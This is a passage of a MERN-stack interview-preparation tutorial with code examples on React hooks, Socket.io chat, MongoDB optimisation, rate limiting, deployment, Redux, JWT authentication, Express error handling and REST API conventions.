Custom Hooks are JavaScript functions that start with "use" and can call other React Hooks. They allow you to extract and reuse stateful logic across multiple components.
// hooks/useFetch.js
import { useState, useEffect, useCallback } from "react";
function useFetch(url) {
const [data, setData] = useState(null);
const [loading, setLoading] = useState(true);
const [error, setError] = useState(null);
const fetchData = useCallback(async () => {
setLoading(true);
setError(null);
try {
const response = await fetch(url);
if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
const json = await response.json();
setData(json);
} catch (err) {
setError(err.message);
} finally {
setLoading(false);
}
}, [url]);
useEffect(() => { fetchData(); }, [fetchData]);
return { data, loading, error, refetch: fetchData };
}
// Usage in any component - so much cleaner!
function ProductList() {
const { data: products, loading, error, refetch } = useFetch("/api/products");
if (loading) return <Spinner />;
if (error) return <p>Error: {error}</p>;
return <div>{products?.map(p => <ProductCard key={p._id} product={p} />)}</div>;
}
function useLocalStorage(key, initialValue) {
const [value, setValue] = useState(() => {
try {
const stored = localStorage.getItem(key);
return stored ? JSON.parse(stored) : initialValue;
} catch {
return initialValue;
}
});
const setStoredValue = (newValue) => {
setValue(newValue);
localStorage.setItem(key, JSON.stringify(newValue));
};
return [value, setStoredValue];
}
// Usage
function ThemeToggle() {
const [theme, setTheme] = useLocalStorage("theme", "light");
return <button onClick={() => setTheme(theme === "light" ? "dark" : "light")}>Toggle</button>;
}
function useDebounce(value, delay = 500) {
const [debouncedValue, setDebouncedValue] = useState(value);
useEffect(() => {
const timer = setTimeout(() => setDebouncedValue(value), delay);
return () => clearTimeout(timer); // Cleanup on each change
}, [value, delay]);
return debouncedValue;
}
// Usage
function SearchBar() {
const [search, setSearch] = useState("");
const debouncedSearch = useDebounce(search, 500);
useEffect(() => {
if (debouncedSearch) fetchResults(debouncedSearch);
}, [debouncedSearch]); // API call only fires 500ms after typing stops!
return <input value={search} onChange={e => setSearch(e.target.value)} />;
}
function useForm(initialValues, validate) {
const [values, setValues] = useState(initialValues);
const [errors, setErrors] = useState({});
const [isSubmitting, setIsSubmitting] = useState(false);
const handleChange = (e) => {
const { name, value } = e.target;
setValues(prev => ({ ...prev, [name]: value }));
if (errors[name]) setErrors(prev => ({ ...prev, [name]: "" }));
};
const handleSubmit = (onSubmit) => async (e) => {
e.preventDefault();
const validationErrors = validate ? validate(values) : {};
setErrors(validationErrors);
if (Object.keys(validationErrors).length === 0) {
setIsSubmitting(true);
await onSubmit(values);
setIsSubmitting(false);
}
};
const reset = () => { setValues(initialValues); setErrors({}); };
return { values, errors, isSubmitting, handleChange, handleSubmit, reset };
}
React Frontend ←──WebSocket (Socket.io)──→ Node.js/Express Backend
│
MongoDB Atlas
(Message Storage)
│
Redis Cache
(Online Users, Rooms)
const express = require("express");
const http = require("http");
const { Server } = require("socket.io");
const mongoose = require("mongoose");
const app = express();
const server = http.createServer(app); // HTTP server (not just express!)
const io = new Server(server, {
cors: { origin: "http://localhost:3000" }
});
// Message Schema
const messageSchema = new mongoose.Schema({
roomId: { type: String, required: true },
sender: { type: mongoose.Schema.Types.ObjectId, ref: "User" },
content: { type: String, required: true },
type: { type: String, enum: ["text", "image", "file"], default: "text" },
timestamp: { type: Date, default: Date.now },
readBy: [{ type: mongoose.Schema.Types.ObjectId, ref: "User" }]
});
const Message = mongoose.model("Message", messageSchema);
// Track online users
const onlineUsers = new Map(); // userId → socketId
io.on("connection", (socket) => {
console.log("User connected:", socket.id);
// User joins with their ID
socket.on("user:connect", (userId) => {
onlineUsers.set(userId, socket.id);
io.emit("users:online", Array.from(onlineUsers.keys()));
});
// Join a chat room
socket.on("room:join", async ({ roomId, userId }) => {
socket.join(roomId);
// Get message history
const messages = await Message.find({ roomId })
.populate("sender", "name avatar")
.sort({ timestamp: 1 })
.limit(50)
.lean();
socket.emit("messages:history", messages);
socket.to(roomId).emit("user:joined", { userId, roomId });
});
// Send message
socket.on("message:send", async ({ roomId, senderId, content }) => {
// Save to MongoDB
const message = await Message.create({ roomId, sender: senderId, content });
const populatedMsg = await message.populate("sender", "name avatar");
// Broadcast to ALL users in room (including sender)
io.to(roomId).emit("message:receive", populatedMsg);
});
// Typing indicator
socket.on("typing:start", ({ roomId, userId }) => {
socket.to(roomId).emit("typing:show", { userId });
});
socket.on("typing:stop", ({ roomId, userId }) => {
socket.to(roomId).emit("typing:hide", { userId });
});
// Disconnect
socket.on("disconnect", () => {
for (const [userId, socketId] of onlineUsers.entries()) {
if (socketId === socket.id) {
onlineUsers.delete(userId);
io.emit("users:online", Array.from(onlineUsers.keys()));
break;
}
}
});
});
server.listen(5000);
import { useEffect, useRef, useState } from "react";
import io from "socket.io-client";
function ChatRoom({ roomId, userId }) {
const [messages, setMessages] = useState([]);
const [input, setInput] = useState("");
const [isTyping, setIsTyping] = useState(false);
const socketRef = useRef(null);
const typingTimer = useRef(null);
useEffect(() => {
socketRef.current = io("http://localhost:5000");
const socket = socketRef.current;
socket.emit("user:connect", userId);
socket.emit("room:join", { roomId, userId });
socket.on("messages:history", setMessages);
socket.on("message:receive", (msg) => {
setMessages(prev => [...prev, msg]);
});
socket.on("typing:show", () => setIsTyping(true));
socket.on("typing:hide", () => setIsTyping(false));
return () => socket.disconnect();
}, [roomId, userId]);
const sendMessage = () => {
if (!input.trim()) return;
socketRef.current.emit("message:send", { roomId, senderId: userId, content: input });
setInput("");
};
const handleTyping = () => {
socketRef.current.emit("typing:start", { roomId, userId });
clearTimeout(typingTimer.current);
typingTimer.current = setTimeout(() => {
socketRef.current.emit("typing:stop", { roomId, userId });
}, 1000);
};
return (
<div>
{messages.map(msg => <div key={msg._id}>{msg.sender.name}: {msg.content}</div>)}
{isTyping && <p>Someone is typing...</p>}
<input value={input} onChange={e => { setInput(e.target.value); handleTyping(); }} />
<button onClick={sendMessage}>Send</button>
</div>
);
}
JavaScript is a prototype-based language. Every object has a hidden property called [[Prototype]] (accessed via __proto__ or Object.getPrototypeOf()) that points to another object. This creates a Prototype Chain for inheritance.
// Every function has a .prototype property
function Person(name, age) {
this.name = name;
this.age = age;
}
// Add method to prototype (shared by all instances)
Person.prototype.greet = function() {
return `Hi, I'm ${this.name}, ${this.age} years old!`;
};
Person.prototype.getDetails = function() {
return `Name: ${this.name}, Age: ${this.age}`;
};
const person1 = new Person("Priya", 25);
const person2 = new Person("Ravi", 28);
console.log(person1.greet()); // "Hi, I'm Priya, 25 years old!"
console.log(person2.greet()); // "Hi, I'm Ravi, 28 years old!"
// Both share the SAME greet function via prototype (memory efficient!)
console.log(person1.greet === person2.greet); // true
// When you access a property, JavaScript looks:
// 1. On the object itself
// 2. On object's prototype
// 3. On prototype's prototype (chain)
// 4. Until null is reached (end of chain)
console.log(person1.name); // Found on object itself
console.log(person1.greet()); // Found on Person.prototype
console.log(person1.toString()); // Found on Object.prototype (root!)
console.log(person1.xyz); // undefined - not found anywhere
// Chain: person1 → Person.prototype → Object.prototype → null
// Classes are syntactic sugar over prototypes!
class Animal {
constructor(name) {
this.name = name;
}
speak() {
return `${this.name} makes a sound`;
}
}
class Dog extends Animal { // Prototype chain setup automatically!
constructor(name, breed) {
super(name); // Calls Animal constructor
this.breed = breed;
}
speak() {
return `${this.name} barks! (${this.breed})`;
}
fetch() {
return `${this.name} fetches the ball!`;
}
}
const dog = new Dog("Tommy", "Labrador");
console.log(dog.speak()); // "Tommy barks! (Labrador)" - own method
console.log(dog.fetch()); // "Tommy fetches the ball!" - Dog method
// dog.speak → Dog.prototype → Animal.prototype → Object.prototype → null
💡 Key Interview Points:
// Create indexes on frequently queried fields
db.products.createIndex({ category: 1 });
db.products.createIndex({ category: 1, price: -1 }); // Compound
db.users.createIndex({ email: 1 }, { unique: true });
db.sessions.createIndex({ createdAt: 1 }, { expireAfterSeconds: 86400 }); // TTL
// Check if query uses index
db.products.find({ category: "Electronics" }).explain("executionStats");
// Look for: "IXSCAN" (good) vs "COLLSCAN" (bad - no index!)
// ❌ Returns ALL fields (wasteful)
const users = await User.find();
// ✅ Return only needed fields
const users = await User.find({}, { name: 1, email: 1, _id: 0 });
// In Mongoose
const users = await User.find().select("name email -_id");
// ❌ Returns all 100,000 products at once!
const products = await Product.find();
// ✅ Pagination with skip() and limit()
const page = parseInt(req.query.page) || 1;
const limit = parseInt(req.query.limit) || 10;
const skip = (page - 1) * limit;
const products = await Product.find()
.skip(skip)
.limit(limit)
.sort({ createdAt: -1 });
const total = await Product.countDocuments();
res.json({
products,
currentPage: page,
totalPages: Math.ceil(total / limit),
total
});
// ✅ Cursor-based pagination (better for large datasets)
const products = await Product.find({ _id: { $gt: lastId } }).limit(10);
// ❌ Regular: Returns full Mongoose documents (heavy)
const users = await User.find();
// ✅ Lean: Returns plain JavaScript objects (50-60% faster!)
const users = await User.find().lean();
// Use lean() when you DON'T need Mongoose methods (.save(), .populate())
// ❌ Multiple queries (N+1 problem)
const orders = await Order.find({ status: "completed" });
for (const order of orders) {
const user = await User.findById(order.userId); // N extra queries!
}
// ✅ Single aggregation pipeline with $lookup
const ordersWithUsers = await Order.aggregate([
{ $match: { status: "completed" } },
{ $lookup: {
from: "users",
localField: "userId",
foreignField: "_id",
as: "user"
}},
{ $unwind: "$user" }
]);
const redis = require("redis");
const client = redis.createClient();
router.get("/products", async (req, res) => {
const cacheKey = "all_products";
// Check cache first
const cached = await client.get(cacheKey);
if (cached) {
return res.json(JSON.parse(cached));
}
// Fetch from MongoDB if not cached
const products = await Product.find().lean();
// Store in cache for 5 minutes
await client.setEx(cacheKey, 300, JSON.stringify(products));
res.json(products);
});
Rate limiting restricts the number of requests a user/IP can make in a given time window. This prevents:
const rateLimit = require("express-rate-limit");
// 1. General API Rate Limiter
const generalLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // Max 100 requests per window
message: {
message: "Too many requests from this IP. Try again in 15 minutes."
},
standardHeaders: true, // Return rate limit info in headers
legacyHeaders: false,
});
// 2. Strict Rate Limiter for Auth Routes (prevent brute force)
const authLimiter = rateLimit({
windowMs: 60 * 60 * 1000, // 1 hour
max: 10, // Only 10 login attempts per hour!
message: { message: "Too many login attempts. Account temporarily locked." },
skipSuccessfulRequests: true, // Don't count successful logins
});
// 3. API rate limiter (per user, not IP)
const userRateLimiter = rateLimit({
windowMs: 60 * 1000, // 1 minute
max: 60, // 60 requests per minute per user
keyGenerator: (req) => req.user?.id || req.ip, // Use user ID if logged in
});
// Apply limiters
app.use("/api/", generalLimiter); // All API routes
app.use("/api/auth/login", authLimiter); // Auth routes only
app.use("/api/", authMiddleware, userRateLimiter); // For authenticated users
// 4. Using Redis for distributed rate limiting (production)
const RedisStore = require("rate-limit-redis");
const redis = require("redis");
const client = redis.createClient({ url: process.env.REDIS_URL });
const distributedLimiter = rateLimit({
windowMs: 15 * 60 * 1000,
max: 100,
store: new RedisStore({
sendCommand: (...args) => client.sendCommand(args),
}),
});
// Helmet.js - Security Headers
const helmet = require("helmet");
app.use(helmet());
// HPP - HTTP Parameter Pollution prevention
const hpp = require("hpp");
app.use(hpp());
// Request Size Limiting (prevent large payload attacks)
app.use(express.json({ limit: "10mb" }));
app.use(express.urlencoded({ limit: "10mb", extended: true }));
// IP Blocking (manual blacklist)
const blockedIPs = new Set(["192.168.1.100"]);
app.use((req, res, next) => {
if (blockedIPs.has(req.ip)) {
return res.status(403).json({ message: "Access denied" });
}
next();
});
💡 Production Tip: Use Cloudflare or AWS WAF (Web Application Firewall) as the first line of defense before your Node.js server for enterprise-level DDoS protection!
Internet → Domain → Nginx (Reverse Proxy)
│
┌─────────┴──────────┐
│ │
React Build Express API
(Static Files) (Node.js:5000)
│ │
Netlify/ MongoDB Atlas
Vercel (Cloud Database)
# 1. Set environment variables in production
# server.js - production settings
if (process.env.NODE_ENV === "production") {
// Serve React build files
app.use(express.static(path.join(__dirname, "client/build")));
// Handle React routing
app.get("*", (req, res) => {
res.sendFile(path.join(__dirname, "client/build", "index.html"));
});
}
cd client
npm run build # Creates optimized production build in /build folder
# 1. Push code to GitHub
# 2. Create account on render.com
# 3. New Web Service → Connect GitHub repo
# 4. Settings:
# Build Command: npm install && npm run build
# Start Command: node server.js
# 5. Add Environment Variables in Render dashboard
# MONGODB_URI, JWT_SECRET, NODE_ENV=production
# Vercel (recommended for React)
npm install -g vercel
cd client
vercel --prod
# Netlify
# 1. netlify.toml configuration:
[build]
command = "npm run build"
publish = "build"
[[redirects]]
from = "/*"
to = "/index.html"
status = 200 # Handles React Router
# 1. Create account on mongodb.com/cloud/atlas
# 2. Create cluster (free tier available)
# 3. Create database user
# 4. Whitelist IPs (0.0.0.0/0 for all IPs)
# 5. Get connection string:
MONGODB_URI=mongodb+srv://username:password@cluster0.mongodb.net/myapp
# Production security packages
npm install helmet express-rate-limit compression morgan
// server.js
const helmet = require("helmet");
const rateLimit = require("express-rate-limit");
const compression = require("compression");
app.use(helmet()); // Security headers
app.use(compression()); // Gzip compression
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100 // 100 requests per window per IP
});
app.use("/api/", limiter);
The Event Loop is the core mechanism that enables Node.js to perform non-blocking I/O operations using a single thread. It continuously checks if there are tasks to execute.
┌────────────────────────────────────┐
│ timers │ ← setTimeout, setInterval callbacks
├────────────────────────────────────┤
│ pending callbacks │ ← I/O errors from previous iteration
├────────────────────────────────────┤
│ idle, prepare │ ← Internal use only
├────────────────────────────────────┤
│ poll │ ← Retrieve new I/O events (main phase!)
├────────────────────────────────────┤
│ check │ ← setImmediate() callbacks
├────────────────────────────────────┤
│ close callbacks │ ← socket.close() etc.
└────────────────────────────────────┘
console.log("1 - Synchronous"); // Call Stack
setTimeout(() => console.log("2 - Timer 0ms"), 0); // Timer Queue
Promise.resolve().then(() => console.log("3 - Promise")); // Microtask Queue
process.nextTick(() => console.log("4 - nextTick")); // Microtask Queue (FIRST!)
console.log("5 - Synchronous"); // Call Stack
// Output:
// 1 - Synchronous (Call Stack)
// 5 - Synchronous (Call Stack)
// 4 - nextTick (Microtask - process.nextTick runs first!)
// 3 - Promise (Microtask - Promises run after nextTick)
// 2 - Timer 0ms (Macrotask - setTimeout runs last)
// This is why async matters in Node.js!
// BAD: Blocking the event loop
app.get("/compute", (req, res) => {
// This blocks ALL other requests for 5 seconds!
const result = heavyComputation(); // CPU-intensive synchronous code
res.json({ result });
});
// GOOD: Use Worker Threads for CPU-intensive tasks
const { Worker } = require("worker_threads");
app.get("/compute", (req, res) => {
const worker = new Worker("./worker.js");
worker.on("message", (result) => res.json({ result }));
worker.postMessage({ task: "heavyComputation" });
});
💡 MNC Interview Insight: The Event Loop question is asked in almost every senior MERN developer interview at companies like Amazon, Flipkart, and Infosys. The key answer: "Node.js uses a single thread with an Event Loop to handle thousands of concurrent connections without blocking."
Redux is a predictable state management library for JavaScript apps. It stores the entire application state in a single store and updates it using pure functions called reducers.
// Install: npm install @reduxjs/toolkit react-redux
// store/cartSlice.js
import { createSlice } from "@reduxjs/toolkit";
const cartSlice = createSlice({
name: "cart",
initialState: { items: [], total: 0 },
reducers: {
addItem: (state, action) => {
state.items.push(action.payload);
state.total += action.payload.price;
},
removeItem: (state, action) => {
const item = state.items.find(i => i.id === action.payload);
state.total -= item.price;
state.items = state.items.filter(i => i.id !== action.payload);
},
clearCart: (state) => {
state.items = [];
state.total = 0;
}
}
});
export const { addItem, removeItem, clearCart } = cartSlice.actions;
export default cartSlice.reducer;
// store/store.js
import { configureStore } from "@reduxjs/toolkit";
import cartReducer from "./cartSlice";
import authReducer from "./authSlice";
export const store = configureStore({
reducer: {
cart: cartReducer,
auth: authReducer
}
});
// index.js
import { Provider } from "react-redux";
import { store } from "./store/store";
root.render(<Provider store={store}><App /></Provider>);
// Component using Redux
import { useSelector, useDispatch } from "react-redux";
import { addItem, removeItem } from "./store/cartSlice";
function ProductCard({ product }) {
const dispatch = useDispatch();
const cartTotal = useSelector(state => state.cart.total);
return (
<div>
<p>{product.name} - ₹{product.price}</p>
<p>Cart Total: ₹{cartTotal}</p>
<button onClick={() => dispatch(addItem(product))}>Add to Cart</button>
</div>
);
}
| Feature | Context API | Redux |
|---|---|---|
| Complexity | Simple | Complex setup |
| Performance | Re-renders more often | Optimized selectors |
| DevTools | Basic | Excellent Redux DevTools |
| Async | Manual (useEffect) | Redux Thunk/Saga |
| Best for | Auth, Theme, Language | Large apps, complex state |
The Virtual DOM is a lightweight JavaScript representation of the actual DOM. React maintains a copy of the real DOM in memory, compares it with the new state, and only updates what changed.
1. Initial Render:
React creates Virtual DOM tree → Renders to Real DOM
2. State Change:
New Virtual DOM created → Compared with previous Virtual DOM
3. Diffing (Reconciliation):
React finds the differences (diff)
4. Patching:
Only the changed parts are updated in Real DOM (not the whole page!)
// Every change re-renders the ENTIRE DOM
document.getElementById("app").innerHTML = generateHTML();
// 💥 Very slow! Full re-render every time
// React only updates the specific changed element
// Example: only the count span is updated, not the whole page
function Counter() {
const [count, setCount] = useState(0);
return (
<div> {/* Not re-rendered */}
<h1>Counter</h1> {/* Not re-rendered */}
<span>{count}</span> {/* ✅ Only this is updated! */}
<button onClick={() => setCount(count + 1)}>Click</button>
</div>
);
}
// ❌ Without keys (React re-renders ALL items on change)
{users.map(user => <li>{user.name}</li>)}
// ✅ With unique keys (React knows exactly what changed)
{users.map(user => <li key={user._id}>{user.name}</li>)}
// ❌ Never use index as key when list can change order
{users.map((user, index) => <li key={index}>{user.name}</li>)}
React Fiber is the new reconciliation engine that makes rendering interruptible. It can pause, resume, or abort rendering, enabling features like Concurrent Mode and Suspense.
💡 Google Interview Tip: Virtual DOM doesn't make React fast by itself – it's the efficient diffing algorithm (O(n) complexity) that makes it fast!
Both useMemo and useCallback are used to optimize React performance by preventing unnecessary re-computations and re-renders.
useMemo caches the result of an expensive calculation and only recomputes it when dependencies change.
import { useState, useMemo } from "react";
function ProductFilter() {
const [products] = useState([
{ id: 1, name: "Laptop", price: 50000, category: "Electronics" },
{ id: 2, name: "Phone", price: 20000, category: "Electronics" },
{ id: 3, name: "Shirt", price: 500, category: "Clothing" },
{ id: 4, name: "Book", price: 300, category: "Education" }
]);
const [filter, setFilter] = useState("");
const [counter, setCounter] = useState(0);
// ❌ Without useMemo: filters run on EVERY render (even when counter changes)
// const filteredProducts = products.filter(p => p.category === filter);
// ✅ With useMemo: only recomputes when products or filter changes
const filteredProducts = useMemo(() => {
console.log("Filtering products...");
return products.filter(p =>
filter ? p.category === filter : true
);
}, [products, filter]); // Only re-runs when these change
return (
<div>
<button onClick={() => setCounter(c => c + 1)}>Counter: {counter}</button>
<select onChange={(e) => setFilter(e.target.value)}>
<option value="">All</option>
<option value="Electronics">Electronics</option>
<option value="Clothing">Clothing</option>
</select>
{filteredProducts.map(p => <p key={p.id}>{p.name} - ₹{p.price}</p>)}
</div>
);
}
useCallback caches a function definition so it doesn't get recreated on every render. Useful when passing functions to child components.
import { useState, useCallback, memo } from "react";
// Child Component (memoized to prevent re-renders)
const Button = memo(({ onClick, label }) => {
console.log(`${label} button rendered`);
return <button onClick={onClick}>{label}</button>;
});
function Parent() {
const [count, setCount] = useState(0);
const [text, setText] = useState("");
// ❌ Without useCallback: new function created every render
// → Button re-renders even when only text changes!
// ✅ With useCallback: same function reference unless count changes
const increment = useCallback(() => {
setCount(prev => prev + 1);
}, []); // No dependencies = never recreated
return (
<div>
<input value={text} onChange={e => setText(e.target.value)} />
<p>Count: {count}</p>
<Button onClick={increment} label="Increment" />
</div>
);
}
💡 Interview Warning: Don't use these everywhere! They add overhead. Use only when there is a real performance problem (expensive computations or frequent child re-renders).
useReducer is a React Hook for managing complex state logic. It works similar to Redux – you dispatch actions, and a reducer function determines the next state.
const [state, dispatch] = useReducer(reducer, initialState);
import { useReducer } from "react";
// Initial State
const initialState = {
cart: [],
total: 0,
itemCount: 0
};
// Reducer Function (pure function)
function cartReducer(state, action) {
switch (action.type) {
case "ADD_ITEM":
const existingItem = state.cart.find(item => item.id === action.payload.id);
if (existingItem) {
// Increase quantity if item exists
return {
...state,
cart: state.cart.map(item =>
item.id === action.payload.id
? { ...item, quantity: item.quantity + 1 }
: item
),
total: state.total + action.payload.price,
itemCount: state.itemCount + 1
};
}
return {
...state,
cart: [...state.cart, { ...action.payload, quantity: 1 }],
total: state.total + action.payload.price,
itemCount: state.itemCount + 1
};
case "REMOVE_ITEM":
const itemToRemove = state.cart.find(item => item.id === action.payload);
return {
...state,
cart: state.cart.filter(item => item.id !== action.payload),
total: state.total - (itemToRemove.price * itemToRemove.quantity),
itemCount: state.itemCount - itemToRemove.quantity
};
case "CLEAR_CART":
return initialState;
default:
return state;
}
}
// Component
function ShoppingCart() {
const [state, dispatch] = useReducer(cartReducer, initialState);
const addItem = (product) => dispatch({ type: "ADD_ITEM", payload: product });
const removeItem = (id) => dispatch({ type: "REMOVE_ITEM", payload: id });
const clearCart = () => dispatch({ type: "CLEAR_CART" });
return (
<div>
<h2>Cart Items: {state.itemCount}</h2>
<h3>Total: ₹{state.total}</h3>
{state.cart.map(item => (
<div key={item.id}>
<span>{item.name} x {item.quantity}</span>
<button onClick={() => removeItem(item.id)}>Remove</button>
</div>
))}
<button onClick={clearCart}>Clear Cart</button>
</div>
);
}
JWT (JSON Web Token) is a compact, URL-safe token used for authentication. It consists of 3 parts: Header.Payload.Signature
1. User logs in with email + password
2. Server verifies credentials
3. Server creates JWT token and sends to client
4. Client stores token (localStorage or cookie)
5. Client sends token in every request header
6. Server verifies token and grants access
const jwt = require("jsonwebtoken");
const bcrypt = require("bcryptjs");
const User = require("../models/User");
// REGISTER
router.post("/register", async (req, res) => {
const { name, email, password } = req.body;
// Hash password before saving
const hashedPassword = await bcrypt.hash(password, 12);
const user = new User({ name, email, password: hashedPassword });
await user.save();
res.status(201).json({ message: "User registered successfully" });
});
// LOGIN
router.post("/login", async (req, res) => {
const { email, password } = req.body;
const user = await User.findOne({ email });
if (!user) return res.status(404).json({ message: "User not found" });
const isMatch = await bcrypt.compare(password, user.password);
if (!isMatch) return res.status(400).json({ message: "Invalid credentials" });
// Create JWT Token
const token = jwt.sign(
{ userId: user._id, email: user.email }, // payload
process.env.JWT_SECRET, // secret key
{ expiresIn: "7d" } // expires in 7 days
);
res.status(200).json({ token, userId: user._id });
});
const authMiddleware = (req, res, next) => {
const authHeader = req.headers.authorization;
if (!authHeader || !authHeader.startsWith("Bearer ")) {
return res.status(401).json({ message: "Unauthorized" });
}
const token = authHeader.split(" ")[1];
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
req.user = decoded; // Attach user data to request
next();
} catch (err) {
res.status(401).json({ message: "Invalid or expired token" });
}
};
// Protected Route
router.get("/profile", authMiddleware, async (req, res) => {
const user = await User.findById(req.user.userId).select("-password");
res.json(user);
});
// After login, store token
localStorage.setItem("token", data.token);
// Send token in every request
const response = await fetch("/api/profile", {
headers: {
Authorization: `Bearer ${localStorage.getItem("token")}`
}
});
💡 Security Tips for MNC Interviews:
Replication means keeping multiple copies of data across different servers. This is done using a Replica Set.
// Replica Set Architecture:
Primary ←──────────── Client writes here
│
├──→ Secondary 1 (backup)
└──→ Secondary 2 (backup)
// If Primary fails → Secondary auto-elected as new Primary (Automatic Failover)
Sharding is the process of distributing data across multiple machines (horizontal scaling). Used when a single server cannot handle the data volume.
// Enable sharding on a database
sh.enableSharding("ecommerce");
// Shard a collection by userId
sh.shardCollection("ecommerce.orders", { userId: "hashed" });
💡 MNC Tip: In production, you use BOTH – each shard is a replica set!
The Aggregation Pipeline is a framework for data processing in MongoDB. It processes documents through a series of stages, where each stage transforms the data. Think of it like an assembly line in a factory – data goes in, gets transformed at each stage, and comes out as a result.
db.orders.aggregate([
// Stage 1: Filter only completed orders
{ $match: { status: "completed" } },
// Stage 2: Group by category and calculate total sales
{ $group: {
_id: "$category",
totalRevenue: { $sum: "$amount" },
totalOrders: { $count: {} },
avgAmount: { $avg: "$amount" }
}},
// Stage 3: Sort by totalRevenue (highest first)
{ $sort: { totalRevenue: -1 } },
// Stage 4: Show only top 5 categories
{ $limit: 5 },
// Stage 5: Rename fields for output
{ $project: {
category: "$_id",
totalRevenue: 1,
totalOrders: 1,
_id: 0
}}
]);
db.orders.aggregate([
{ $lookup: {
from: "users", // Collection to join
localField: "userId", // Field in orders
foreignField: "_id", // Field in users
as: "userDetails" // Output field name
}}
]);
💡 Google/Amazon Interview Tip: Aggregation pipeline is very commonly tested. Practice $group with $sum, $avg, and $lookup for JOIN operations!
// ❌ This CRASHES the server!
app.get("/users", async (req, res) => {
const users = await User.find(); // If this throws error...
res.json(users);
// Error is NOT caught by Express error handler!
// Node process crashes! 💀
});
// ✅ Works but lots of boilerplate
app.get("/users", async (req, res) => {
try {
const users = await User.find();
res.json(users);
} catch (error) {
res.status(500).json({ message: error.message });
}
});
app.get("/users/:id", async (req, res) => {
try {
const user = await User.findById(req.params.id);
res.json(user);
} catch (error) {
res.status(500).json({ message: error.message });
}
});
// ❌ Problem: Same try-catch in 50 routes = lots of duplication!
// utils/catchAsync.js
const catchAsync = (fn) => {
return (req, res, next) => {
Promise.resolve(fn(req, res, next)).catch(next);
// If fn throws error → automatically pass to next(error)
};
};
module.exports = catchAsync;
// Usage - clean and simple!
const catchAsync = require("./utils/catchAsync");
app.get("/users", catchAsync(async (req, res) => {
const users = await User.find();
res.json(users);
}));
app.get("/users/:id", catchAsync(async (req, res) => {
const user = await User.findById(req.params.id);
if (!user) {
throw new Error("User not found"); // Automatically caught!
}
res.json(user);
}));
// No try-catch needed! Errors auto-forwarded to error middleware
// utils/AppError.js
class AppError extends Error {
constructor(message, statusCode) {
super(message);
this.statusCode = statusCode;
this.isOperational = true; // Known error vs bug
Error.captureStackTrace(this, this.constructor);
}
}
module.exports = AppError;
// Usage with meaningful errors
const AppError = require("./utils/AppError");
const catchAsync = require("./utils/catchAsync");
app.get("/users/:id", catchAsync(async (req, res, next) => {
const user = await User.findById(req.params.id);
if (!user) {
return next(new AppError("User not found", 404)); // 404 status!
}
if (!user.isActive) {
return next(new AppError("User account is deactivated", 403)); // 403!
}
res.json(user);
}));
// middleware/errorHandler.js
const errorHandler = (err, req, res, next) => {
err.statusCode = err.statusCode || 500;
err.message = err.message || "Internal Server Error";
// Development - show full error
if (process.env.NODE_ENV === "development") {
return res.status(err.statusCode).json({
success: false,
error: err,
message: err.message,
stack: err.stack // Show stack trace in dev
});
}
// Production - hide sensitive details
if (process.env.NODE_ENV === "production") {
// Mongoose validation error
if (err.name === "ValidationError") {
const errors = Object.values(err.errors).map(e => e.message);
return res.status(400).json({
success: false,
message: "Validation failed",
errors
});
}
// Mongoose duplicate key error
if (err.code === 11000) {
const field = Object.keys(err.keyValue)[0];
return res.status(409).json({
success: false,
message: `${field} already exists`
});
}
// JWT errors
if (err.name === "JsonWebTokenError") {
return res.status(401).json({
success: false,
message: "Invalid token"
});
}
if (err.name === "TokenExpiredError") {
return res.status(401).json({
success: false,
message: "Token expired"
});
}
// Mongoose CastError (invalid ObjectId)
if (err.name === "CastError") {
return res.status(400).json({
success: false,
message: `Invalid ${err.path}: ${err.value}`
});
}
// Operational errors (known errors)
if (err.isOperational) {
return res.status(err.statusCode).json({
success: false,
message: err.message
});
}
// Unknown errors (bugs) - don't leak details!
console.error("ERROR 💥", err);
return res.status(500).json({
success: false,
message: "Something went wrong"
});
}
};
module.exports = errorHandler;
// server.js
const express = require("express");
const errorHandler = require("./middleware/errorHandler");
const AppError = require("./utils/AppError");
const app = express();
// Routes
app.use("/api/users", userRoutes);
app.use("/api/posts", postRoutes);
// 404 handler (catch-all route)
app.all("*", (req, res, next) => {
next(new AppError(`Route ${req.originalUrl} not found`, 404));
});
// Error handler middleware (MUST be last!)
app.use(errorHandler);
// Unhandled promise rejections (safety net)
process.on("unhandledRejection", (err) => {
console.error("UNHANDLED REJECTION! 💥 Shutting down...");
console.error(err.name, err.message);
process.exit(1);
});
app.listen(5000);
const catchAsync = require("../utils/catchAsync");
const AppError = require("../utils/AppError");
router.post("/login", catchAsync(async (req, res, next) => {
const { email, password } = req.body;
// Validation
if (!email || !password) {
return next(new AppError("Please provide email and password", 400));
}
// Find user
const user = await User.findOne({ email }).select("+password");
if (!user) {
return next(new AppError("Invalid email or password", 401));
}
// Check password
const isMatch = await bcrypt.compare(password, user.password);
if (!isMatch) {
return next(new AppError("Invalid email or password", 401));
}
// Generate token
const token = jwt.sign({ userId: user._id }, process.env.JWT_SECRET);
res.json({ token });
}));
💡 Best Practice: catchAsync wrapper + AppError class + global error handler = Clean, maintainable error handling across entire API!
// ✅ Good - Plural nouns, resource hierarchy
GET /api/users // Get all users
GET /api/users/123 // Get user 123
POST /api/users // Create user
PUT /api/users/123 // Update user 123 (full update)
PATCH /api/users/123 // Partial update
DELETE /api/users/123 // Delete user 123
// Nested resources
GET /api/users/123/orders // Get orders of user 123
GET /api/users/123/orders/456 // Get specific order of user
// ❌ Bad - Verbs in URLs
POST /api/createUser
GET /api/getUserById/123
POST /api/deleteUser/123
// Success
200 OK - Standard success response
201 Created - Resource created successfully
204 No Content - Success but no response body (DELETE)
// Client Errors
400 Bad Request - Invalid input
401 Unauthorized - Not authenticated (no/invalid token)
403 Forbidden - Authenticated but not authorized
404 Not Found - Resource doesn't exist
409 Conflict - Duplicate/constraint violation
422 Unprocessable - Validation failed
429 Too Many Requests - Rate limit exceeded
// Server Errors
500 Internal Server Error - Generic server error
503 Service Unavailable - Server down/maintenance
// Example usage
router.post("/users", async (req, res) => {
try {
const user = await User.create(req.body);
res.status(201).json({ user }); // 201 for create!
} catch (err) {
if (err.code === 11000) {
res.status(409).json({ message: "Email already exists" }); // Conflict
} else {
res.status(500).json({ message: "Server error" });
}
}
});
// ✅ Standard success response
{
"success": true,
"data": {
"user": { ... }
},
"message": "User created successfully"
}
// ✅ Standard error response
{
"success": false,
"error": {
